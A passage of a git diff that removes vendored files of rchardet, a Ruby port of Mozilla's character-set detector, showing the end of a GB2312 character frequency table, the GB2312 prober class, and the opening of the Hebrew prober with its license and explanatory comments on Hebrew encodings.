-1011,2325,3704,2306, 818,1732,1383,1824,1844,3757, 999,2705,3497,1216,1423,2683,
-2426,2954,2501,2726,2229,1475,2554,5064,1971,1794,1666,2014,1343, 783, 724, 191,
-2434,1354,2220,5065,1763,2752,2472,4152, 131, 175,2885,3434,  92,1466,4920,2616,
-3871,3872,3866, 128,1551,1632, 669,1854,3682,4691,4125,1230, 188,2973,3290,1302,
-1213, 560,3266, 917, 763,3909,3249,1760, 868,1958, 764,1782,2097, 145,2277,3774,
-4462,  64,1491,3062, 971,2132,3606,2442, 221,1226,1617, 218, 323,1185,3207,3147,
- 571, 619,1473,1005,1744,2281, 449,1887,2396,3685, 275, 375,3816,1743,3844,3731,
- 845,1983,2350,4210,1377, 773, 967,3499,3052,3743,2725,4007,1697,1022,3943,1464,
-3264,2855,2722,1952,1029,2839,2467,  84,4383,2215, 820,1391,2015,2448,3672, 377,
-1948,2168, 797,2545,3536,2578,2645,  94,2874,1678, 405,1259,3071, 771, 546,1315,
- 470,1243,3083, 895,2468, 981, 969,2037, 846,4181, 653,1276,2928,  14,2594, 557,
-3007,2474, 156, 902,1338,1740,2574, 537,2518, 973,2282,2216,2433,1928, 138,2903,
-1293,2631,1612, 646,3457, 839,2935, 111, 496,2191,2847, 589,3186, 149,3994,2060,
-4031,2641,4067,3145,1870,  37,3597,2136,1025,2051,3009,3383,3549,1121,1016,3261,
-1301, 251,2446,2599,2153, 872,3246, 637, 334,3705, 831, 884, 921,3065,3140,4092,
-2198,1944, 246,2964, 108,2045,1152,1921,2308,1031, 203,3173,4170,1907,3890, 810,
-1401,2003,1690, 506, 647,1242,2828,1761,1649,3208,2249,1589,3709,2931,5156,1708,
- 498, 666,2613, 834,3817,1231, 184,2851,1124, 883,3197,2261,3710,1765,1553,2658,
-1178,2639,2351,  93,1193, 942,2538,2141,4402, 235,1821, 870,1591,2192,1709,1871,
-3341,1618,4126,2595,2334, 603, 651,  69, 701, 268,2662,3411,2555,1380,1606, 503,
- 448, 254,2371,2646, 574,1187,2309,1770, 322,2235,1292,1801, 305, 566,1133, 229,
-2067,2057, 706, 167, 483,2002,2672,3295,1820,3561,3067, 316, 378,2746,3452,1112,
- 136,1981, 507,1651,2917,1117, 285,4591, 182,2580,3522,1304, 335,3303,1835,2504,
-1795,1792,2248, 674,1018,2106,2449,1857,2292,2845, 976,3047,1781,2600,2727,1389,
-1281,  52,3152, 153, 265,3950, 672,3485,3951,4463, 430,1183, 365, 278,2169,  27,
-1407,1336,2304, 209,1340,1730,2202,1852,2403,2883, 979,1737,1062, 631,2829,2542,
-3876,2592, 825,2086,2226,3048,3625, 352,1417,3724, 542, 991, 431,1351,3938,1861,
-2294, 826,1361,2927,3142,3503,1738, 463,2462,2723, 582,1916,1595,2808, 400,3845,
-3891,2868,3621,2254,  58,2492,1123, 910,2160,2614,1372,1603,1196,1072,3385,1700,
-3267,1980, 696, 480,2430, 920, 799,1570,2920,1951,2041,4047,2540,1321,4223,2469,
-3562,2228,1271,2602, 401,2833,3351,2575,5157, 907,2312,1256, 410, 263,3507,1582,
- 996, 678,1849,2316,1480, 908,3545,2237, 703,2322, 667,1826,2849,1531,2604,2999,
-2407,3146,2151,2630,1786,3711, 469,3542, 497,3899,2409, 858, 837,4446,3393,1274,
- 786, 620,1845,2001,3311, 484, 308,3367,1204,1815,3691,2332,1532,2557,1842,2020,
-2724,1927,2333,4440, 567,  22,1673,2728,4475,1987,1858,1144,1597, 101,1832,3601,
-  12, 974,3783,4391, 951,1412,   1,3720, 453,4608,4041, 528,1041,1027,3230,2628,
-1129, 875,1051,3291,1203,2262,1069,2860,2799,2149,2615,3278, 144,1758,3040,  31,
- 475,1680, 366,2685,3184, 311,1642,4008,2466,5036,1593,1493,2809, 216,1420,1668,
- 233, 304,2128,3284, 232,1429,1768,1040,2008,3407,2740,2967,2543, 242,2133, 778,
-1565,2022,2620, 505,2189,2756,1098,2273, 372,1614, 708, 553,2846,2094,2278, 169,
-3626,2835,4161, 228,2674,3165, 809,1454,1309, 466,1705,1095, 900,3423, 880,2667,
-3751,5258,2317,3109,2571,4317,2766,1503,1342, 866,4447,1118,  63,2076, 314,1881,
-1348,1061, 172, 978,3515,1747, 532, 511,3970,   6, 601, 905,2699,3300,1751, 276,
-1467,3725,2668,  65,4239,2544,2779,2556,1604, 578,2451,1802, 992,2331,2624,1320,
-3446, 713,1513,1013, 103,2786,2447,1661, 886,1702, 916, 654,3574,2031,1556, 751,
-2178,2821,2179,1498,1538,2176, 271, 914,2251,2080,1325, 638,1953,2937,3877,2432,
-2754,  95,3265,1716, 260,1227,4083, 775, 106,1357,3254, 426,1607, 555,2480, 772,
-1985, 244,2546, 474, 495,1046,2611,1851,2061,  71,2089,1675,2590, 742,3758,2843,
-3222,1433, 267,2180,2576,2826,2233,2092,3913,2435, 956,1745,3075, 856,2113,1116,
- 451,   3,1988,2896,1398, 993,2463,1878,2049,1341,2718,2721,2870,2108, 712,2904,
-4363,2753,2324, 277,2872,2349,2649, 384, 987, 435, 691,3000, 922, 164,3939, 652,
-1500,1184,4153,2482,3373,2165,4848,2335,3775,3508,3154,2806,2830,1554,2102,1664,
-2530,1434,2408, 893,1547,2623,3447,2832,2242,2532,3169,2856,3223,2078,  49,3770,
-3469, 462, 318, 656,2259,3250,3069, 679,1629,2758, 344,1138,1104,3120,1836,1283,
-3115,2154,1437,4448, 934, 759,1999, 794,2862,1038, 533,2560,1722,2342, 855,2626,
-1197,1663,4476,3127,  85,4240,2528,  25,1111,1181,3673, 407,3470,4561,2679,2713,
- 768,1925,2841,3986,1544,1165, 932, 373,1240,2146,1930,2673, 721,4766, 354,4333,
- 391,2963, 187,  61,3364,1442,1102, 330,1940,1767, 341,3809,4118, 393,2496,2062,
-2211, 105, 331, 300, 439, 913,1332, 626, 379,3304,1557, 328, 689,3952, 309,1555,
- 931, 317,2517,3027, 325, 569, 686,2107,3084,  60,1042,1333,2794, 264,3177,4014,
-1628, 258,3712,   7,4464,1176,1043,1778, 683, 114,1975,  78,1492, 383,1886, 510,
- 386, 645,5291,2891,2069,3305,4138,3867,2939,2603,2493,1935,1066,1848,3588,1015,
-1282,1289,4609, 697,1453,3044,2666,3611,1856,2412,  54, 719,1330, 568,3778,2459,
-1748, 788, 492, 551,1191,1000, 488,3394,3763, 282,1799, 348,2016,1523,3155,2390,
-1049, 382,2019,1788,1170, 729,2968,3523, 897,3926,2785,2938,3292, 350,2319,3238,
-1718,1717,2655,3453,3143,4465, 161,2889,2980,2009,1421,  56,1908,1640,2387,2232,
-1917,1874,2477,4921, 148,  83,3438, 592,4245,2882,1822,1055, 741, 115,1496,1624,
- 381,1638,4592,1020, 516,3214, 458, 947,4575,1432, 211,1514,2926,1865,2142, 189,
- 852,1221,1400,1486, 882,2299,4036, 351,  28,1122, 700,6479,6480,6481,6482,6483,  # last 512
-#Everything below is of no interest for detection purpose
-5508,6484,3900,3414,3974,4441,4024,3537,4037,5628,5099,3633,6485,3148,6486,3636,
-5509,3257,5510,5973,5445,5872,4941,4403,3174,4627,5873,6276,2286,4230,5446,5874,
-5122,6102,6103,4162,5447,5123,5323,4849,6277,3980,3851,5066,4246,5774,5067,6278,
-3001,2807,5695,3346,5775,5974,5158,5448,6487,5975,5976,5776,3598,6279,5696,4806,
-4211,4154,6280,6488,6489,6490,6281,4212,5037,3374,4171,6491,4562,4807,4722,4827,
-5977,6104,4532,4079,5159,5324,5160,4404,3858,5359,5875,3975,4288,4610,3486,4512,
-5325,3893,5360,6282,6283,5560,2522,4231,5978,5186,5449,2569,3878,6284,5401,3578,
-4415,6285,4656,5124,5979,2506,4247,4449,3219,3417,4334,4969,4329,6492,4576,4828,
-4172,4416,4829,5402,6286,3927,3852,5361,4369,4830,4477,4867,5876,4173,6493,6105,
-4657,6287,6106,5877,5450,6494,4155,4868,5451,3700,5629,4384,6288,6289,5878,3189,
-4881,6107,6290,6495,4513,6496,4692,4515,4723,5100,3356,6497,6291,3810,4080,5561,
-3570,4430,5980,6498,4355,5697,6499,4724,6108,6109,3764,4050,5038,5879,4093,3226,
-6292,5068,5217,4693,3342,5630,3504,4831,4377,4466,4309,5698,4431,5777,6293,5778,
-4272,3706,6110,5326,3752,4676,5327,4273,5403,4767,5631,6500,5699,5880,3475,5039,
-6294,5562,5125,4348,4301,4482,4068,5126,4593,5700,3380,3462,5981,5563,3824,5404,
-4970,5511,3825,4738,6295,6501,5452,4516,6111,5881,5564,6502,6296,5982,6503,4213,
-4163,3454,6504,6112,4009,4450,6113,4658,6297,6114,3035,6505,6115,3995,4904,4739,
-4563,4942,4110,5040,3661,3928,5362,3674,6506,5292,3612,4791,5565,4149,5983,5328,
-5259,5021,4725,4577,4564,4517,4364,6298,5405,4578,5260,4594,4156,4157,5453,3592,
-3491,6507,5127,5512,4709,4922,5984,5701,4726,4289,6508,4015,6116,5128,4628,3424,
-4241,5779,6299,4905,6509,6510,5454,5702,5780,6300,4365,4923,3971,6511,5161,3270,
-3158,5985,4100, 867,5129,5703,6117,5363,3695,3301,5513,4467,6118,6512,5455,4232,
-4242,4629,6513,3959,4478,6514,5514,5329,5986,4850,5162,5566,3846,4694,6119,5456,
-4869,5781,3779,6301,5704,5987,5515,4710,6302,5882,6120,4392,5364,5705,6515,6121,
-6516,6517,3736,5988,5457,5989,4695,2457,5883,4551,5782,6303,6304,6305,5130,4971,
-6122,5163,6123,4870,3263,5365,3150,4871,6518,6306,5783,5069,5706,3513,3498,4409,
-5330,5632,5366,5458,5459,3991,5990,4502,3324,5991,5784,3696,4518,5633,4119,6519,
-4630,5634,4417,5707,4832,5992,3418,6124,5993,5567,4768,5218,6520,4595,3458,5367,
-6125,5635,6126,4202,6521,4740,4924,6307,3981,4069,4385,6308,3883,2675,4051,3834,
-4302,4483,5568,5994,4972,4101,5368,6309,5164,5884,3922,6127,6522,6523,5261,5460,
-5187,4164,5219,3538,5516,4111,3524,5995,6310,6311,5369,3181,3386,2484,5188,3464,
-5569,3627,5708,6524,5406,5165,4677,4492,6312,4872,4851,5885,4468,5996,6313,5709,
-5710,6128,2470,5886,6314,5293,4882,5785,3325,5461,5101,6129,5711,5786,6525,4906,
-6526,6527,4418,5887,5712,4808,2907,3701,5713,5888,6528,3765,5636,5331,6529,6530,
-3593,5889,3637,4943,3692,5714,5787,4925,6315,6130,5462,4405,6131,6132,6316,5262,
-6531,6532,5715,3859,5716,5070,4696,5102,3929,5788,3987,4792,5997,6533,6534,3920,
-4809,5000,5998,6535,2974,5370,6317,5189,5263,5717,3826,6536,3953,5001,4883,3190,
-5463,5890,4973,5999,4741,6133,6134,3607,5570,6000,4711,3362,3630,4552,5041,6318,
-6001,2950,2953,5637,4646,5371,4944,6002,2044,4120,3429,6319,6537,5103,4833,6538,
-6539,4884,4647,3884,6003,6004,4758,3835,5220,5789,4565,5407,6540,6135,5294,4697,
-4852,6320,6321,3206,4907,6541,6322,4945,6542,6136,6543,6323,6005,4631,3519,6544,
-5891,6545,5464,3784,5221,6546,5571,4659,6547,6324,6137,5190,6548,3853,6549,4016,
-4834,3954,6138,5332,3827,4017,3210,3546,4469,5408,5718,3505,4648,5790,5131,5638,
-5791,5465,4727,4318,6325,6326,5792,4553,4010,4698,3439,4974,3638,4335,3085,6006,
-5104,5042,5166,5892,5572,6327,4356,4519,5222,5573,5333,5793,5043,6550,5639,5071,
-4503,6328,6139,6551,6140,3914,3901,5372,6007,5640,4728,4793,3976,3836,4885,6552,
-4127,6553,4451,4102,5002,6554,3686,5105,6555,5191,5072,5295,4611,5794,5296,6556,
-5893,5264,5894,4975,5466,5265,4699,4976,4370,4056,3492,5044,4886,6557,5795,4432,
-4769,4357,5467,3940,4660,4290,6141,4484,4770,4661,3992,6329,4025,4662,5022,4632,
-4835,4070,5297,4663,4596,5574,5132,5409,5895,6142,4504,5192,4664,5796,5896,3885,
-5575,5797,5023,4810,5798,3732,5223,4712,5298,4084,5334,5468,6143,4052,4053,4336,
-4977,4794,6558,5335,4908,5576,5224,4233,5024,4128,5469,5225,4873,6008,5045,4729,
-4742,4633,3675,4597,6559,5897,5133,5577,5003,5641,5719,6330,6560,3017,2382,3854,
-4406,4811,6331,4393,3964,4946,6561,2420,3722,6562,4926,4378,3247,1736,4442,6332,
-5134,6333,5226,3996,2918,5470,4319,4003,4598,4743,4744,4485,3785,3902,5167,5004,
-5373,4394,5898,6144,4874,1793,3997,6334,4085,4214,5106,5642,4909,5799,6009,4419,
-4189,3330,5899,4165,4420,5299,5720,5227,3347,6145,4081,6335,2876,3930,6146,3293,
-3786,3910,3998,5900,5300,5578,2840,6563,5901,5579,6147,3531,5374,6564,6565,5580,
-4759,5375,6566,6148,3559,5643,6336,6010,5517,6337,6338,5721,5902,3873,6011,6339,
-6567,5518,3868,3649,5722,6568,4771,4947,6569,6149,4812,6570,2853,5471,6340,6341,
-5644,4795,6342,6012,5723,6343,5724,6013,4349,6344,3160,6150,5193,4599,4514,4493,
-5168,4320,6345,4927,3666,4745,5169,5903,5005,4928,6346,5725,6014,4730,4203,5046,
-4948,3395,5170,6015,4150,6016,5726,5519,6347,5047,3550,6151,6348,4197,4310,5904,
-6571,5581,2965,6152,4978,3960,4291,5135,6572,5301,5727,4129,4026,5905,4853,5728,
-5472,6153,6349,4533,2700,4505,5336,4678,3583,5073,2994,4486,3043,4554,5520,6350,
-6017,5800,4487,6351,3931,4103,5376,6352,4011,4321,4311,4190,5136,6018,3988,3233,
-4350,5906,5645,4198,6573,5107,3432,4191,3435,5582,6574,4139,5410,6353,5411,3944,
-5583,5074,3198,6575,6354,4358,6576,5302,4600,5584,5194,5412,6577,6578,5585,5413,
-5303,4248,5414,3879,4433,6579,4479,5025,4854,5415,6355,4760,4772,3683,2978,4700,
-3797,4452,3965,3932,3721,4910,5801,6580,5195,3551,5907,3221,3471,3029,6019,3999,
-5908,5909,5266,5267,3444,3023,3828,3170,4796,5646,4979,4259,6356,5647,5337,3694,
-6357,5648,5338,4520,4322,5802,3031,3759,4071,6020,5586,4836,4386,5048,6581,3571,
-4679,4174,4949,6154,4813,3787,3402,3822,3958,3215,3552,5268,4387,3933,4950,4359,
-6021,5910,5075,3579,6358,4234,4566,5521,6359,3613,5049,6022,5911,3375,3702,3178,
-4911,5339,4521,6582,6583,4395,3087,3811,5377,6023,6360,6155,4027,5171,5649,4421,
-4249,2804,6584,2270,6585,4000,4235,3045,6156,5137,5729,4140,4312,3886,6361,4330,
-6157,4215,6158,3500,3676,4929,4331,3713,4930,5912,4265,3776,3368,5587,4470,4855,
-3038,4980,3631,6159,6160,4132,4680,6161,6362,3923,4379,5588,4255,6586,4121,6587,
-6363,4649,6364,3288,4773,4774,6162,6024,6365,3543,6588,4274,3107,3737,5050,5803,
-4797,4522,5589,5051,5730,3714,4887,5378,4001,4523,6163,5026,5522,4701,4175,2791,
-3760,6589,5473,4224,4133,3847,4814,4815,4775,3259,5416,6590,2738,6164,6025,5304,
-3733,5076,5650,4816,5590,6591,6165,6592,3934,5269,6593,3396,5340,6594,5804,3445,
-3602,4042,4488,5731,5732,3525,5591,4601,5196,6166,6026,5172,3642,4612,3202,4506,
-4798,6366,3818,5108,4303,5138,5139,4776,3332,4304,2915,3415,4434,5077,5109,4856,
-2879,5305,4817,6595,5913,3104,3144,3903,4634,5341,3133,5110,5651,5805,6167,4057,
-5592,2945,4371,5593,6596,3474,4182,6367,6597,6168,4507,4279,6598,2822,6599,4777,
-4713,5594,3829,6169,3887,5417,6170,3653,5474,6368,4216,2971,5228,3790,4579,6369,
-5733,6600,6601,4951,4746,4555,6602,5418,5475,6027,3400,4665,5806,6171,4799,6028,
-5052,6172,3343,4800,4747,5006,6370,4556,4217,5476,4396,5229,5379,5477,3839,5914,
-5652,5807,4714,3068,4635,5808,6173,5342,4192,5078,5419,5523,5734,6174,4557,6175,
-4602,6371,6176,6603,5809,6372,5735,4260,3869,5111,5230,6029,5112,6177,3126,4681,
-5524,5915,2706,3563,4748,3130,6178,4018,5525,6604,6605,5478,4012,4837,6606,4534,
-4193,5810,4857,3615,5479,6030,4082,3697,3539,4086,5270,3662,4508,4931,5916,4912,
-5811,5027,3888,6607,4397,3527,3302,3798,2775,2921,2637,3966,4122,4388,4028,4054,
-1633,4858,5079,3024,5007,3982,3412,5736,6608,3426,3236,5595,3030,6179,3427,3336,
-3279,3110,6373,3874,3039,5080,5917,5140,4489,3119,6374,5812,3405,4494,6031,4666,
-4141,6180,4166,6032,5813,4981,6609,5081,4422,4982,4112,3915,5653,3296,3983,6375,
-4266,4410,5654,6610,6181,3436,5082,6611,5380,6033,3819,5596,4535,5231,5306,5113,
-6612,4952,5918,4275,3113,6613,6376,6182,6183,5814,3073,4731,4838,5008,3831,6614,
-4888,3090,3848,4280,5526,5232,3014,5655,5009,5737,5420,5527,6615,5815,5343,5173,
-5381,4818,6616,3151,4953,6617,5738,2796,3204,4360,2989,4281,5739,5174,5421,5197,
-3132,5141,3849,5142,5528,5083,3799,3904,4839,5480,2880,4495,3448,6377,6184,5271,
-5919,3771,3193,6034,6035,5920,5010,6036,5597,6037,6378,6038,3106,5422,6618,5423,
-5424,4142,6619,4889,5084,4890,4313,5740,6620,3437,5175,5307,5816,4199,5198,5529,
-5817,5199,5656,4913,5028,5344,3850,6185,2955,5272,5011,5818,4567,4580,5029,5921,
-3616,5233,6621,6622,6186,4176,6039,6379,6380,3352,5200,5273,2908,5598,5234,3837,
-5308,6623,6624,5819,4496,4323,5309,5201,6625,6626,4983,3194,3838,4167,5530,5922,
-5274,6381,6382,3860,3861,5599,3333,4292,4509,6383,3553,5481,5820,5531,4778,6187,
-3955,3956,4324,4389,4218,3945,4325,3397,2681,5923,4779,5085,4019,5482,4891,5382,
-5383,6040,4682,3425,5275,4094,6627,5310,3015,5483,5657,4398,5924,3168,4819,6628,
-5925,6629,5532,4932,4613,6041,6630,4636,6384,4780,4204,5658,4423,5821,3989,4683,
-5822,6385,4954,6631,5345,6188,5425,5012,5384,3894,6386,4490,4104,6632,5741,5053,
-6633,5823,5926,5659,5660,5927,6634,5235,5742,5824,4840,4933,4820,6387,4859,5928,
-4955,6388,4143,3584,5825,5346,5013,6635,5661,6389,5014,5484,5743,4337,5176,5662,
-6390,2836,6391,3268,6392,6636,6042,5236,6637,4158,6638,5744,5663,4471,5347,3663,
-4123,5143,4293,3895,6639,6640,5311,5929,5826,3800,6189,6393,6190,5664,5348,3554,
-3594,4749,4603,6641,5385,4801,6043,5827,4183,6642,5312,5426,4761,6394,5665,6191,
-4715,2669,6643,6644,5533,3185,5427,5086,5930,5931,5386,6192,6044,6645,4781,4013,
-5745,4282,4435,5534,4390,4267,6045,5746,4984,6046,2743,6193,3501,4087,5485,5932,
-5428,4184,4095,5747,4061,5054,3058,3862,5933,5600,6646,5144,3618,6395,3131,5055,
-5313,6396,4650,4956,3855,6194,3896,5202,4985,4029,4225,6195,6647,5828,5486,5829,
-3589,3002,6648,6397,4782,5276,6649,6196,6650,4105,3803,4043,5237,5830,6398,4096,
-3643,6399,3528,6651,4453,3315,4637,6652,3984,6197,5535,3182,3339,6653,3096,2660,
-6400,6654,3449,5934,4250,4236,6047,6401,5831,6655,5487,3753,4062,5832,6198,6199,
-6656,3766,6657,3403,4667,6048,6658,4338,2897,5833,3880,2797,3780,4326,6659,5748,
-5015,6660,5387,4351,5601,4411,6661,3654,4424,5935,4339,4072,5277,4568,5536,6402,
-6662,5238,6663,5349,5203,6200,5204,6201,5145,4536,5016,5056,4762,5834,4399,4957,
-6202,6403,5666,5749,6664,4340,6665,5936,5177,5667,6666,6667,3459,4668,6404,6668,
-6669,4543,6203,6670,4276,6405,4480,5537,6671,4614,5205,5668,6672,3348,2193,4763,
-6406,6204,5937,5602,4177,5669,3419,6673,4020,6205,4443,4569,5388,3715,3639,6407,
-6049,4058,6206,6674,5938,4544,6050,4185,4294,4841,4651,4615,5488,6207,6408,6051,
-5178,3241,3509,5835,6208,4958,5836,4341,5489,5278,6209,2823,5538,5350,5206,5429,
-6675,4638,4875,4073,3516,4684,4914,4860,5939,5603,5389,6052,5057,3237,5490,3791,
-6676,6409,6677,4821,4915,4106,5351,5058,4243,5539,4244,5604,4842,4916,5239,3028,
-3716,5837,5114,5605,5390,5940,5430,6210,4332,6678,5540,4732,3667,3840,6053,4305,
-3408,5670,5541,6410,2744,5240,5750,6679,3234,5606,6680,5607,5671,3608,4283,4159,
-4400,5352,4783,6681,6411,6682,4491,4802,6211,6412,5941,6413,6414,5542,5751,6683,
-4669,3734,5942,6684,6415,5943,5059,3328,4670,4144,4268,6685,6686,6687,6688,4372,
-3603,6689,5944,5491,4373,3440,6416,5543,4784,4822,5608,3792,4616,5838,5672,3514,
-5391,6417,4892,6690,4639,6691,6054,5673,5839,6055,6692,6056,5392,6212,4038,5544,
-5674,4497,6057,6693,5840,4284,5675,4021,4545,5609,6418,4454,6419,6213,4113,4472,
-5314,3738,5087,5279,4074,5610,4959,4063,3179,4750,6058,6420,6214,3476,4498,4716,
-5431,4960,4685,6215,5241,6694,6421,6216,6695,5841,5945,6422,3748,5946,5179,3905,
-5752,5545,5947,4374,6217,4455,6423,4412,6218,4803,5353,6696,3832,5280,6219,4327,
-4702,6220,6221,6059,4652,5432,6424,3749,4751,6425,5753,4986,5393,4917,5948,5030,
-5754,4861,4733,6426,4703,6697,6222,4671,5949,4546,4961,5180,6223,5031,3316,5281,
-6698,4862,4295,4934,5207,3644,6427,5842,5950,6428,6429,4570,5843,5282,6430,6224,
-5088,3239,6060,6699,5844,5755,6061,6431,2701,5546,6432,5115,5676,4039,3993,3327,
-4752,4425,5315,6433,3941,6434,5677,4617,4604,3074,4581,6225,5433,6435,6226,6062,
-4823,5756,5116,6227,3717,5678,4717,5845,6436,5679,5846,6063,5847,6064,3977,3354,
-6437,3863,5117,6228,5547,5394,4499,4524,6229,4605,6230,4306,4500,6700,5951,6065,
-3693,5952,5089,4366,4918,6701,6231,5548,6232,6702,6438,4704,5434,6703,6704,5953,
-4168,6705,5680,3420,6706,5242,4407,6066,3812,5757,5090,5954,4672,4525,3481,5681,
-4618,5395,5354,5316,5955,6439,4962,6707,4526,6440,3465,4673,6067,6441,5682,6708,
-5435,5492,5758,5683,4619,4571,4674,4804,4893,4686,5493,4753,6233,6068,4269,6442,
-6234,5032,4705,5146,5243,5208,5848,6235,6443,4963,5033,4640,4226,6236,5849,3387,
-6444,6445,4436,4437,5850,4843,5494,4785,4894,6709,4361,6710,5091,5956,3331,6237,
-4987,5549,6069,6711,4342,3517,4473,5317,6070,6712,6071,4706,6446,5017,5355,6713,
-6714,4988,5436,6447,4734,5759,6715,4735,4547,4456,4754,6448,5851,6449,6450,3547,
-5852,5318,6451,6452,5092,4205,6716,6238,4620,4219,5611,6239,6072,4481,5760,5957,
-5958,4059,6240,6453,4227,4537,6241,5761,4030,4186,5244,5209,3761,4457,4876,3337,
-5495,5181,6242,5959,5319,5612,5684,5853,3493,5854,6073,4169,5613,5147,4895,6074,
-5210,6717,5182,6718,3830,6243,2798,3841,6075,6244,5855,5614,3604,4606,5496,5685,
-5118,5356,6719,6454,5960,5357,5961,6720,4145,3935,4621,5119,5962,4261,6721,6455,
-4786,5963,4375,4582,6245,6246,6247,6076,5437,4877,5856,3376,4380,6248,4160,6722,
-5148,6456,5211,6457,6723,4718,6458,6724,6249,5358,4044,3297,6459,6250,5857,5615,
-5497,5245,6460,5498,6725,6251,6252,5550,3793,5499,2959,5396,6461,6462,4572,5093,
-5500,5964,3806,4146,6463,4426,5762,5858,6077,6253,4755,3967,4220,5965,6254,4989,
-5501,6464,4352,6726,6078,4764,2290,5246,3906,5438,5283,3767,4964,2861,5763,5094,
-6255,6256,4622,5616,5859,5860,4707,6727,4285,4708,4824,5617,6257,5551,4787,5212,
-4965,4935,4687,6465,6728,6466,5686,6079,3494,4413,2995,5247,5966,5618,6729,5967,
-5764,5765,5687,5502,6730,6731,6080,5397,6467,4990,6258,6732,4538,5060,5619,6733,
-4719,5688,5439,5018,5149,5284,5503,6734,6081,4607,6259,5120,3645,5861,4583,6260,
-4584,4675,5620,4098,5440,6261,4863,2379,3306,4585,5552,5689,4586,5285,6735,4864,
-6736,5286,6082,6737,4623,3010,4788,4381,4558,5621,4587,4896,3698,3161,5248,4353,
-4045,6262,3754,5183,4588,6738,6263,6739,6740,5622,3936,6741,6468,6742,6264,5095,
-6469,4991,5968,6743,4992,6744,6083,4897,6745,4256,5766,4307,3108,3968,4444,5287,
-3889,4343,6084,4510,6085,4559,6086,4898,5969,6746,5623,5061,4919,5249,5250,5504,
-5441,6265,5320,4878,3242,5862,5251,3428,6087,6747,4237,5624,5442,6266,5553,4539,
-6748,2585,3533,5398,4262,6088,5150,4736,4438,6089,6267,5505,4966,6749,6268,6750,
-6269,5288,5554,3650,6090,6091,4624,6092,5690,6751,5863,4270,5691,4277,5555,5864,
-6752,5692,4720,4865,6470,5151,4688,4825,6753,3094,6754,6471,3235,4653,6755,5213,
-5399,6756,3201,4589,5865,4967,6472,5866,6473,5019,3016,6757,5321,4756,3957,4573,
-6093,4993,5767,4721,6474,6758,5625,6759,4458,6475,6270,6760,5556,4994,5214,5252,
-6271,3875,5768,6094,5034,5506,4376,5769,6761,2120,6476,5253,5770,6762,5771,5970,
-3990,5971,5557,5558,5772,6477,6095,2787,4641,5972,5121,6096,6097,6272,6763,3703,
-5867,5507,6273,4206,6274,4789,6098,6764,3619,3646,3833,3804,2394,3788,4936,3978,
-4866,4899,6099,6100,5559,6478,6765,3599,5868,6101,5869,5870,6275,6766,4527,6767]
-
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312prober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312prober.rb
deleted file mode 100755
index edc9a0b9..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312prober.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is mozilla.org code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class GB2312Prober < MultiByteCharSetProber
-    def initialize
-      super
-      @_mCodingSM = CodingStateMachine.new(GB2312SMModel)
-      @_mDistributionAnalyzer = GB2312DistributionAnalysis.new()
-      reset()
-    end
-
-    def get_charset_name
-      return "GB2312"
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/hebrewprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/hebrewprober.rb
deleted file mode 100755
index 798f6ce6..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/hebrewprober.rb
+++ /dev/null
@@ -1,289 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Universal charset detector code.
-#
-# The Initial Developer of the Original Code is
-#          Shy Shalom
-# Portions created by the Initial Developer are Copyright (C) 2005
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-# This prober doesn't actually recognize a language or a charset.
-# It is a helper prober for the use of the Hebrew model probers
-
-### General ideas of the Hebrew charset recognition ###
-#
-# Four main charsets exist in Hebrew:
-# "ISO-8859-8" - Visual Hebrew
-# "windows-1255" - Logical Hebrew 
-# "ISO-8859-8-I" - Logical Hebrew
-# "x-mac-hebrew" - ?? Logical Hebrew ??
-#
-# Both "ISO" charsets use a completely identical set of code points, whereas
-# "windows-1255" and "x-mac-hebrew" are two different proper supersets of 
-# these code points. windows-1255 defines additional characters in the range
-# 0x80-0x9F as some misc punctuation marks as well as some Hebrew-specific 
-# diacritics and additional 'Yiddish' ligature letters in the range 0xc0-0xd6.
-# x-mac-hebrew defines similar additional code points but with a different 
-# mapping.
-#
-# As far as an average Hebrew text with no diacritics is concerned, all four 
-# charsets are identical with respect to code points. Meaning that for the 
-# main Hebrew alphabet, all four map the same values to all 27 Hebrew letters 
